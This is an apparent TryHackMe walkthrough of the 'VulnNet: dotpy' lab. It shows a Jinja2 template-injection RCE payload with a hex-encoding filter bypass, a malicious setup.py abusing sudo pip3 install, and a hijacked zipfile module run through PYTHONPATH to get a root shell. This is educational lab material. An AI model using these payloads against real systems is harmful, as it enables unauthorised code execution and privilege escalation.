VulnNet: dotpy — TryHackMe Penetration Testing Walkthrough

Target Information

  • Machine Name: VulnNet: dotpy
  • Platform: TryHackMe
  • Difficulty: Medium
  • Operating System: Linux

Reconnaissance

Network Enumeration

A full TCP scan was conducted using Nmap to identify exposed services.

1
nmap -sC -sV dotpy.thm

Identified Services:

Port Service Version
8080 HTTP Werkzeug httpd 1.0.1

The presence of Werkzeug strongly suggests a Flask-based web application, making template-related vulnerabilities a likely attack vector.


Web Application Analysis

Initial interaction with the web application revealed that arbitrary URL paths were reflected directly within the page response.
This behavior is commonly associated with insecure template rendering and indicated a potential Server-Side Template Injection (SSTI) vulnerability.


Initial Access

Server-Side Template Injection (SSTI)

To validate the hypothesis, a basic template expression was injected into the URL path:

1
{{ 2+2 }}

The server evaluated the expression correctly, confirming the presence of an SSTI vulnerability in the Flask/Jinja2 template engine.


Remote Code Execution via SSTI

Further testing revealed that the application attempted to mitigate exploitation by blocking specific characters:

  • _
  • .
  • []

To bypass these restrictions, hex-encoded payloads were used.
A helper function was created to encode forbidden characters:

1
2
3
4
5
6
def text(s):
    backslash = r"%5c"
    out = ""
    for c in s:
        out += backslash + "x" + hex(ord(c))[2:]
    return out

A standard Jinja2 RCE payload such as:

1
{{ self.__init__.__globals__.__builtins__["__import__"]("os").popen("id").read() }}

was progressively rewritten to eliminate forbidden characters by:

  1. Replacing attribute access (.) with attr
  2. Replacing index access ([]) with get
  3. Encoding underscores (_) using hexadecimal encoding

This resulted in a fully filter-bypassing payload capable of executing system commands, ultimately allowing the execution of a reverse shell and obtaining a shell as the web user.


Privilege Escalation (web → system-adm)

Sudo Enumeration

Once initial access was obtained, sudo privileges were enumerated:

1
sudo -l

Result:

1
2
User web may run the following commands on vulnnet-dotpy:
    (system-adm) NOPASSWD: /usr/bin/pip3 install *

This configuration allows the web user to execute pip3 install as system-adm, a known privilege escalation vector.


Abusing pip3 for Code Execution

A malicious Python package was created to exploit this misconfiguration.

1
2
mkdir /tmp/expl
cd /tmp/expl

setup.py

1
2
import os
os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")

Installing the package as system-adm resulted in a shell with elevated privileges:

1
sudo -u system-adm /usr/bin/pip3 install .

User Flag

After escalating privileges, the user flag was retrieved:

1
cat /home/system-adm/user.txt

Privilege Escalation (system-adm → root)

Sudo Misconfiguration with Python Script

Further sudo enumeration revealed another critical misconfiguration:

1
sudo -l

Result:

1
(system-adm) NOPASSWD: (ALL) SETENV: /usr/bin/python3 /opt/backup.py

The presence of the SETENV flag allows environment variables to be controlled when executing the script as root.


Python Library Hijacking via PYTHONPATH

Inspection of /opt/backup.py showed that it imports the standard zipfile module:

1
import zipfile

Because Python resolves modules using PYTHONPATH, this allowed module hijacking.

A malicious replacement module was created:

1
2
mkdir /tmp/new_expl
cd /tmp/new_expl

zipfile.py

1
2
3
4
5
6
import os
import pty

os.setuid(0)
os.setgid(0)
pty.spawn('/bin/bash')

By executing the script with a controlled PYTHONPATH, root code execution was achieved:

1
sudo PYTHONPATH=/tmp/new_expl /usr/bin/python3 /opt/backup.py

Root Flag

With root access obtained, the final flag was retrieved:

1
cat /root/root.txt
← Torna alla home